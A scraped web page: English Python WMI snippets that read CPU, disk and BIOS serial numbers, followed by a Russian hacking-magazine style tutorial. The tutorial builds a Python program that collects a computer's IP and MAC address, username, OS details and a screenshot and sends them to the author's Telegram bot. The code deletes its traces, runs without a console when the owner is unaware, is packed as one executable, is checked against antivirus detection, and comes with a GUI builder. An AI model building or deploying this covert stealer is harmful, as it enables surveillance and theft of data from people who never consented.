    if objItem.IdentificationCode != None:
        print "IdentificationCode:" + ` objItem.IdentificationCode`
    if objItem.InstallableLanguages != None:
        print "InstallableLanguages:" + ` objItem.InstallableLanguages`
    if objItem.InstallDate != None:
        print "InstallDate:" + WMIDateStringToDate(objItem.InstallDate)
    if objItem.LanguageEdition != None:
        print "LanguageEdition:" + ` objItem.LanguageEdition`
    print "ListOfLanguages:"
    strList = " "
    try :
        for objElem in objItem.ListOfLanguages :
            strList = strList + `objElem` + ","
    except:
        strList = strList + 'null'
    print strList
    if objItem.Manufacturer != None:
        print "Manufacturer:" + ` objItem.Manufacturer`
    if objItem.Name != None:
        print "Name:" + ` objItem.Name`
    if objItem.OtherTargetOS != None:
        print "OtherTargetOS:" + ` objItem.OtherTargetOS`
    if objItem.PrimaryBIOS != None:
        print "PrimaryBIOS:" + ` objItem.PrimaryBIOS`
    if objItem.ReleaseDate != None:
        print "ReleaseDate:" + WMIDateStringToDate(objItem.ReleaseDate)
    if objItem.SerialNumber != None:
        print "SerialNumber:" + ` objItem.SerialNumber`
    if objItem.SMBIOSBIOSVersion != None:
        print "SMBIOSBIOSVersion:" + ` objItem.SMBIOSBIOSVersion`
    if objItem.SMBIOSMajorVersion != None:
        print "SMBIOSMajorVersion:" + ` objItem.SMBIOSMajorVersion`
    if objItem.SMBIOSMinorVersion != None:
        print "SMBIOSMinorVersion:" + ` objItem.SMBIOSMinorVersion`
    if objItem.SMBIOSPresent != None:
        print "SMBIOSPresent:" + ` objItem.SMBIOSPresent`
    if objItem.SoftwareElementID != None:
        print "SoftwareElementID:" + ` objItem.SoftwareElementID`
    if objItem.SoftwareElementState != None:
        print "SoftwareElementState:" + ` objItem.SoftwareElementState`
    if objItem.Status != None:
        print "Status:" + ` objItem.Status`
    if objItem.TargetOperatingSystem != None:
        print "TargetOperatingSystem:" + ` objItem.TargetOperatingSystem`
    if objItem.Version != None:
        print "Version:" + ` objItem.Version`

Python Get Computer Hardware CPU/Disk/BIOS Features Information

tags: python  notes  Development language  rear end  

    def get_cpu_info(self):
        tmpdict = {}
        tmpdict["CpuCores"] = 0
        c = wmi.WMI()
        #          print c.Win32_Processor().['ProcessorId']
        #          print c.Win32_DiskDrive()
        for cpu in c.Win32_Processor():
            # print cpu
            print("cpu id:", cpu.ProcessorId.strip())
            tmpdict["CpuType"] = cpu.Name
            try:
                tmpdict["CpuCores"] = cpu.NumberOfCores
            except:
                tmpdict["CpuCores"] += 1
                tmpdict["CpuClock"] = cpu.MaxClockSpeed
                return tmpdict

2. Get the CPU use load

    def read_cpu_usage(self):
        c = wmi.WMI()
        for cpu in c.Win32_Processor():
            return cpu.LoadPercentage

3. Get CPU/Disk/BIOS serial number

    def get_disk_info(self):
        tmplist = []
        encrypt_str = ""
        c = wmi.WMI()
        for cpu in c.Win32_Processor():
            # CPU serial number
            encrypt_str = encrypt_str + cpu.ProcessorId.strip()
            print("cpu id:", cpu.ProcessorId.strip())
        for physical_disk in c.Win32_DiskDrive():
            encrypt_str = encrypt_str + physical_disk.SerialNumber.strip()

                         # Hard disk serial number
            print('disk id:', physical_disk.SerialNumber.strip())
            tmpdict = {}
            tmpdict["Caption"] = physical_disk.Caption
            tmpdict["Size"] = int(physical_disk.Size) / 1000 / 1000 / 1000
            tmplist.append(tmpdict)
        for board_id in c.Win32_BaseBoard():
                         # Motherboard serial number
            encrypt_str = encrypt_str + board_id.SerialNumber.strip()
            print("main board id:", board_id.SerialNumber.strip())
        # for mac in c.Win32_NetworkAdapter():

                 # MAC address (including virtual machine)
        # print "mac addr:", mac.MACAddress:
        for bios_id in c.Win32_BIOS():
                         # bios serial number
            encrypt_str = encrypt_str + bios_id.SerialNumber.strip()
            print("bios number:", bios_id.SerialNumber.strip())
        print("encrypt_str:", encrypt_str)

        return encrypt_str

4. Get the information of the disk sequence number, the return value is similar: 185224465301

    def get_HardDiskNumber(self):
        """
                 Get the disk sequence number information, the return value is similar: 185224465301
        :return: 
        """
        print('\n------   get HardDiskNumber  ------')
        import wmi
        c = wmi.WMI()
        for physical_disk in c.Win32_DiskDrive():
            physical_disk_sn=physical_disk.SerialNumber
            print('get_HardDiskNumber=',physical_disk_sn)
            return physical_disk_sn

Intelligent Recommendation

Use python to get hardware information

This example shows you the use of wmi library to obtain computer hardware information, such as the serial number of the CPU and the MAC address of the network card.  …

Get hardware and system information in Python

As a Python developer, it is very convenient to use the third-party library to complete your truly desired work, not every time you renonly invent the wheel. In this tutorial, you will be familiar wit…

QT C++ Get computer software, hardware information cpu, memory, graphics card, operating system and other information

In the process of programming with QT and C++, let’s talk about how to obtain computer software and hardware information, includingComputer name, CPU, graphics card, memory, operating system, several …

C# get hardware information of Windows computer

One, achieve the effect This is the project engineering:Project Second, realize the core 3. Use WMIC to query computer hardware information To use it, open the command line tool, and then enter the fo…

More Recommendation

C # get information about computer hardware

In the C # language, you can take the computer hardware information and system information using the managementClass class. The inheritance structure of the ManagementClass class: Now look at MSDN’s e…

Java get computer hardware information to liveNSE

The project does liveNSE, divided into two parts: 1. A small application obtains the hardware information of the computer (the ID of the CPU, and the motherboard information) to generate the unique id…

Use C# to get computer hardware information

Today we show you how to use C# to get computer hardware information. You can get your system information, such as processor ID, hard disk serial number, system MAC address, motherboard manufacturer, …

Copyright  DMCA © 2018-2025 — All Rights Reserved — www.programmersought.com  User Notice

Top

Если ты часто имеешь дело с разными компьютерами, тебе, конечно, нужен простой в использовании и быстрый инструмент для сбора информации о системе. Сегодня мы покажем, как сделать такую программу, отсылающую собранные данные в Telegram, а еще попрактикуемся в программировании на Python.

Чтобы просто посмотреть IP-адрес и другие настройки сети, тебе придется обратиться к командной строке и выполнить команду ipconfig /all. Ситуация одна из самых частых для эникейщиков и удаленных шаманов, но она хотя бы быстро решаема. Но если придется собирать более серьезный набор информации о машине, с которой сейчас будешь работать, — без автоматизации не обойтись. Этим мы сегодня и займемся.

Имей в виду, что эта программа может использоваться как для быстрого сбора информации о своей системе, так и для кражи идентифицирующей информации с компьютера жертвы. Мы граждане законопослушные, поэтому пусть это и не пароли, но, чтобы не раздражать правоохранителей, все тесты будут проводиться на изолированных виртуальных машинах.

warning¶

Несанкционированный доступ к компьютерной информации — преступление. Ни автор, ни редакция журнала не несут ответственности за твои действия.

Инструменты¶

Сначала давай разберемся, где будем писать код. Можно кодить в обычном виндовом «Блокноте», но мы воспользуемся специальной IDE для Python — PyCharm. Установка и настройка просты как два рубля: скачал установщик, запустил — и кликай себе «Далее», пока есть такая кнопка.

Еще нам потребуется Python. Я буду использовать версию 3.9.0 — с ней точно все работает.

Задачи¶

Давай сначала обрисуем, что мы вообще планируем делать. Я планирую собирать следующую информацию:

  1. IP-адрес.
  2. MAC-адрес.
  3. Имя пользователя.
  4. Тип операционной системы.
  5. Скорость работы системы.
  6. Время.
  7. Скриншот.
  8. Скорость интернет‑соединения.
  9. Модель процессора.

И отправляться это все будет прямиком тебе в телегу через специальный бот.

Зачем?¶

Наверняка у тебя возник вопрос: зачем может понадобиться MAC-адрес или модель процессора? Эти параметры меняются очень и очень редко, так что прекрасно подходят для фингерпринтинга. Даже если пользователь купит более быстрый интернет‑канал или поменяет часовой пояс, ты без особого труда сможешь определить, что уже имел дело с этим компьютером. Стоит помнить, что ровно такие же методы используют хитрые рекламщики для идентификации пользователей, да и разработчики триальных версий программ тоже. Эта статья поможет чуть лучше понять, что можно узнать о твоем компьютере в полностью автоматическом режиме, а как применить эту информацию — решать только тебе.

В этой статье мы не будем показывать, как сформировать устойчивый к незначительным изменениям идентификатор, который поможет однозначно определить конкретный компьютер. Если тебе станет интересно — пиши в комментариях, и, возможно, мы сделаем большой гайд на эту тему!

Создаем основу программы¶

Для отправки данных я решил воспользоваться Telegram-ботом. Создать его ты можешь через BotFather, а после сохранить token твоего творения. Публиковать его нельзя — любой, кто получит этот токен, сможет захватить контроль над твоим ботом.

Для подключения к Bot API «телеги» нужны всего две строчки:

import telebot bot = telebot.TeleBot("token from BotFather") # Подключение бота

Чтобы оценить быстродействие, можно написать еще пару строк. Весь дальнейший код расположим между ними. Описанное выше подключение бота уже вписано сюда.

import telebot from datetime import datetime bot = telebot.TeleBot("token") start = datetime.now() # Начало отсчета # Сюда поместим нашу основу, поэтому оставляем место ends = datetime.now() # Конец отсчета workspeed = format(ends - start) # Вычисление времени

Теперь перейдем собственно к сбору данных.

Сбор данных¶

Я не буду долго ходить вокруг да около и сразу начну разбирать секцию импорта.

import getpass import os import socket from datetime import datetime from uuid import getnode as get_mac import pyautogui from speedtest import Speedtest import telebot import psutil import platform from PIL import Image

Теперь кратко рассмотрим, что делает каждый модуль. Если какие‑то функции тебе не нужны, выброси строку импорта модуля и код, который использует этот модуль. Все просто!

Итак, за работу с ОС и локальными ресурсами отвечают эти четыре модуля:

  • getpass нужен для определения информации о пользователе;
  • os используем для взаимодействия с функциями ОС, вроде вызова внешних исполняемых файлов;
  • psutil работает с некоторыми низкоуровневыми системными функциями;
  • platform предоставит информацию об ОС.

Этими модулями реализованы сетевые взаимодействия:

  • socket — для работы с сокетами и получения IP-адресов;
  • getnode получает MAC-адрес машины;
  • speedtest замеряет характеристики интернет‑соединения;
  • telebot сделает всю рутину по работе с Telegram-ботом.

Служебные примочки, которые трудно отнести к категориям выше:

  • datetime позволит определить время работы программы;
  • pyautogui ~быстро и без боли~ работает с GUI;
  • PIL.Image — для снятия скриншота.

После этого нам требуется узнать основные стабильные характеристики системы: IP- и MAC-адреса, имя пользователя и ОС:

name = getpass.getuser() # Имя пользователя ip = socket.gethostbyname(socket.getfqdn()) # IP-адрес системы mac = get_mac() # MAC адрес ost = platform.uname() # Название операционной системы

Строки кода снабжены комментариями и в пояснениях не нуждаются.

Скорость интернет-соединения¶

from speedtest import Speedtest # Импорт модуля. Рассматривался выше inet = Speedtest() download = float(str(inet.download())[0:2] + "." # Входящая скорость + str(round(inet.download(), 2))[1]) * 0.125 uploads = float(str(inet.upload())[0:2] + "." # Исходящая скорость + str(round(inet.download(), 2))[1]) * 0.125

Скорость замеряется библиотекой сервиса Speedtest.net и, соответственно, выдает результат в мегабитах, а не мегабайтах. Чтобы это исправить, разделим численный результат на 8 или умножим на 0,125 — это одно и то же. Манипуляцию проделываем дважды — для входящей и исходящей скорости.

Важно понимать, что замер не претендует на сверхточность, потому что мы никак не можем легко проверить, какую часть канала потребляют другие программы или даже другие устройства в сети. Если ты подключился к рабочей станции удаленно, твое соединение тоже что‑то будет потреблять. В программе поправка на это не реализована из‑за ее слишком низкой точности и трудоемкости.

Часовой пояс и время¶

import psutil zone = psutil.boot_time() # Узнает время, заданное на компьютере time = datetime.fromtimestamp(zone) # Переводит данные в читаемый вид

Если ты настраиваешь чей‑то сервер или слишком удаленный компьютер, время может отличаться. Ко всем прочим данным добавим и показания часов — информация лишней не бывает. Если ты не знал, неправильно выставленное время и/или часовой пояс может вызывать сбои при подключении к сайтам, использующим HTTPS, а этот кусочек кода позволит легко выявить такие проблемы.

Частота процессора¶

import psutil cpu = psutil.cpu_freq()

Может помочь выявить причину тормознутости компьютера: если процессор постоянно молотит на полную, но программы виснут — процессор устарел, а если простаивает — виновата программа. Да и просто общее представление о железе дает.

Более глубокий фингерпринтинг¶

В этой статье умышленно не рассказывается, как получить идентификатор жесткого диска или GUID установленной Windows: мы не методичку для рекламщиков пишем, а программировать тренируемся. Тем не менее ты легко можешь добавить сбор и такой информации, воспользовавшись консольной утилитой wmic. Ее вывод можно парсить с помощью Python-скрипта, так что даже не придется писать лишние обвязки. На скриншоте пример получения серийного номера BIOS.

[

](http://0.0.0.0:1025/05%20%D0%A0%D0%B0%D0%B7%D0%B2%D0%B5%D0%B4%D0%BA%D0%B0%20%D0%B7%D0%BC%D0%B5%D0%B5%D0%BC.%20%D0%A1%D0%BE%D0%B1%D0%B8%D1%80%D0%B0%D0%B5%D0%BC%20%D0%B8%D0%BD%D1%84%D0%BE%D1%80%D0%BC%D0%B0%D1%86%D0%B8%D1%8E%20%D0%BE%20%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC%D0%B5%20%D1%81%20%D0%BF%D0%BE%D0%BC%D0%BE%D1%89%D1%8C%D1%8E%20Python%20%E2%80%94%20%C2%AB%D0%A5%D0%B0%D0%BA%D0%B5%D1%80%C2%BB_files/bios.jpg)

Скриншот рабочего стола¶

os.getcwd() try: # Перехват ошибки в случае неверно указанного расположения os.chdir(r"/temp/path") except OSError: @bot.message_handler(commands=['start']) def start_message(message): # Служебная обвязка для бота bot.send_message(message.chat.id, "[Error]: Location not found!") bot.stop_polling() bot.polling() raise SystemExit screen = pyautogui.screenshot("screenshot.jpg") # Снятие скриншота

Тут все тоже максимально просто, а за собственно снятие скриншота отвечает только последняя строка кода. Остальное мы используем для корректной обработки входящей команды бота.

Запись в файл¶

Теперь, когда все готово, мы можем приступать к финальному сбору и отправке данных. Создаем готовый файл с нашими данными: если использовался максимальный сбор информации, а точнее весь код выше, то используем такую запись, в противном случае убирай ненужные тебе данные:

try: # Обвязка для обработки команд боту os.chdir(r"/temp/path") except OSError: @bot.message_handler(commands=['start']) def start_message(message): bot.send_message(message.chat.id, "[Error]: Location not found!") bot.stop_polling() bot.polling() raise SystemExit file = open("info.txt", "w") # Открываем файл file.write(f"[================================================]\n Operating System: {ost.system}\n Processor: {ost.processor}\n Username: {name}\n IP adress: {ip}\n MAC adress: {mac}\n Timezone: {time.year}/{time.month}/{time.day} {time.hour}:{time.minute}:{time.second}\n Work speed: {workspeed}\n Download: {download} MB/s\n Upload: {uploads} MB/s\n Max Frequency: {cpu.max:.2f} Mhz\n Min Frequency: {cpu.min:.2f} Mhz\n Current Frequency: {cpu.current:.2f} Mhz\n[================================================]\n") # Пишем file.close() # Закрываем

Длинный, но легко читаемый код. Первая его часть обеспечивает обработку команды /start, вторая — запись всех данных в файл. Результат попадет в info.txt, но путь, конечно, можно изменить прямо в коде.

Дело остается за малым — отправить результат в Telegram.

Отправка данных¶

Теперь дополним код выше, чтобы он еще и файлы отправлял.

text = "Screenshot" # Требуется при создании скриншота (текст к фото) @bot.message_handler(commands=['start']) # Выполняет действия при команде start def start_message(message): upfile = open("Путь до файла\info.txt", "rb") # Читает файлы uphoto = open("Путь до файла\screenshot.jpg", "rb") bot.send_photo(message.chat.id, uphoto, text) # Отправляет данные bot.send_document(message.chat.id, upfile) upfile.close() # Закрывает файлы (обязательно) uphoto.close() os.remove("info.txt") # Удаляет файлы, чтобы не оставлять следы os.remove("screenshot.jpg") bot.stop_polling() # Закрывает соединение после отправки bot.polling() # Создает соединение с ботом

Сначала указывается подпись к скриншоту, потом читаем и отправляем файлы в виде фото и документа, затем зачищаем следы и закрываем соединение с ботом. Ничего сложного!

Естественно, если нам не нужен, к примеру, скриншот, мы можем вырезать код его отправки, получив такой вариант:

@bot.message_handler(commands=['start']) def start_message(message): upfile = open("Путь до файла\info.txt", "rb") bot.send_document(message.chat.id, upfile) upfile.close() os.remove("info.txt") bot.stop_polling() bot.polling()

info¶

Чтобы бот гарантированно отправлял все сообщения тебе, укажи вместо message.chat.id ID чата с собой. Его можно узнать через бот GetMyID.

Также следует учесть одну деталь: перед запуском программы ты должен отправить своему боту команду /start, чтобы он понял, кому следует отправлять данные.

Собираем программу¶

Чтобы не тянуть с собой на другой компьютер Python и зависимости программы, давай упакуем все в один исполняемый файлик. Делается это с помощью PyInstaller, который ставится простой командой pip install pyinstaller.

Переходим с помощью командной строки в папку с нашей программой и собираем ее командой

pyinstaller -i путь_до_иконки --onefile наш_файл.py

Аргумент --onefile заставит PyInstaller упаковать все в единственный файл. После -i надо указать путь до иконки исполняемого файла, если ты хочешь ее использовать. Если она не нужна, просто удали этот аргумент. Последним идет путь к файлу с нашим кодом. Если ты не хочешь, чтобы при запуске появлялась консоль (например, если владелец компьютера не знает, что ты собрался ему помочь :D), поменяй расширение входного файла с кодом на .pyw или укажи опцию -w.

Не забывай проверять наличие модулей и их обновлений, чтобы избежать ошибок. Временный путь можно указать любой, но лично я указываю C:\Temp. Само собой, если обнаружена ОС на базе Linux, то этот код придется поправить.

Еще следует проверить, как сильно и чем детектится наш файл. Чтобы тебе не лезть на VirusTotal, я сделал это сам.

[

Результат сканирования на VirusTotal

](http://0.0.0.0:1025/05%20%D0%A0%D0%B0%D0%B7%D0%B2%D0%B5%D0%B4%D0%BA%D0%B0%20%D0%B7%D0%BC%D0%B5%D0%B5%D0%BC.%20%D0%A1%D0%BE%D0%B1%D0%B8%D1%80%D0%B0%D0%B5%D0%BC%20%D0%B8%D0%BD%D1%84%D0%BE%D1%80%D0%BC%D0%B0%D1%86%D0%B8%D1%8E%20%D0%BE%20%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC%D0%B5%20%D1%81%20%D0%BF%D0%BE%D0%BC%D0%BE%D1%89%D1%8C%D1%8E%20Python%20%E2%80%94%20%C2%AB%D0%A5%D0%B0%D0%BA%D0%B5%D1%80%C2%BB_files/virustotal.jpg)

www¶

Полный код проекта я разместил на GitHub. Там есть и программа‑сборщик, о которой я расскажу ниже.

Пишем сборщик с графическим интерфейсом¶

Для создания GUI сборщика нам придется работать с библиотекой Tkinter, поэтому прежде всего импортируем ее и нужные элементы:

# -*- coding: utf-8 -*- # Не забываем указывать конфигурацию from tkinter import * # Сама библиотека для работы from tkinter import messagebox as mb # Функция для создания окон с информацией

После этого нужно создать окно, которое и будет основой интерфейса:

root = Tk() root.title("Tkinter") # Название программы root.geometry("300x400") # Разрешение окна программы

Нам нужен только ввод API-ключа для доступа к боту. Делается такой ввод кодом ниже:

text = Label(root, text="Telegram bot token") # Текст для обозначения поля text.grid(padx=100, pady=0) # Расположение по x/y API = Entry(root, width=20) # Создание поля ввода данных API.grid(padx=100, pady=0)

Это создаст два графических объекта — поле ввода и подпись к нему.

В этом интерфейсе не хватает кнопки для сборки выходного файла. Давай создадим ее:

button = Button(root, text="Create", command=clicked, height=2, width=10) button.grid(padx=100, pady=0)

Создаем функцию, которая должна находиться в файле после импорта библиотек. В ней мы должны создавать файл и записывать в него код полезной нагрузки.

def clicked(): system = open("source.py", "w") system.write(''' # Сюда перемещаем полный код программы, которую мы писали раньше ''') system.close()

warning¶

Не шути с пробелами! Перед тем как вставлять код, убедись, что там нет лишних пробелов, иначе может возникнуть трудно обнаружимая ошибка.

Но на этом наша функция не заканчивается, так как нужно дать пользователю понять, готов ли файл. Делаем это с помощью MessageBox:

if API.get() or direct.get() == "": mb.showwarning("WARNING", "There are empty fields") else: mb.showinfo("INFO", "The system.py file is ready!")

Теперь осталось только запустить отрисовку и обработку сообщений строкой root.mainloop().

Опционально можно собрать и сборочный интерфейс. Для этого используем старый добрый PyInstaller:

pyinstaller -F -w --onefile программа.py

И все готово! Теперь ты имеешь полноценную программу для сбора данных о системе и ее сборщик, который ускорит процесс работы.

Каждый раз прибегать к PyInstaller, чтобы собрать программу, не слишком удобно. Можно воспользоваться модулем os и вызывать PyInstaller автоматически.

import os os.system("pyinstaller --onefile наш_файл.py") # Сборка выходного бинарника os.rmdir("build") os.rmdir("__pycache__") os.remove("system.py") os.remove("system.spec")

Если тебе понадобилась иконка, можно добавить в команду сборки параметр -i file.ico, а для сборки «невидимой» программы дописать -w — ровно как при ручной сборке!

Вывод¶

В этой статье мы разобрали от начала и до конца, как вытащить из своей или чужой системы некоторые важные данные — от IP до модели процессора. Конечно, главное тут в том, что ты научился хоть немного писать код самостоятельно — а применить всегда куда‑нибудь получится. Если заинтересовался программированием на Python — почитай нашу статью о написании простого вируса, она станет отличным закреплением навыков программирования. Успехов!

Понравилась статья? Поделить с друзьями:
0 0 голоса
Рейтинг статьи
Подписаться
Уведомить о
guest

0 комментариев
Старые
Новые Популярные
Межтекстовые Отзывы
Посмотреть все комментарии
  • Программа для создания загрузочной флешки windows server 2012
  • Tap windows provider v9 сетевые адаптеры устанавливать или нет
  • Windows media player cpi
  • Windows server 2019 код активации
  • Не могу удалить разделы на жестком при установке windows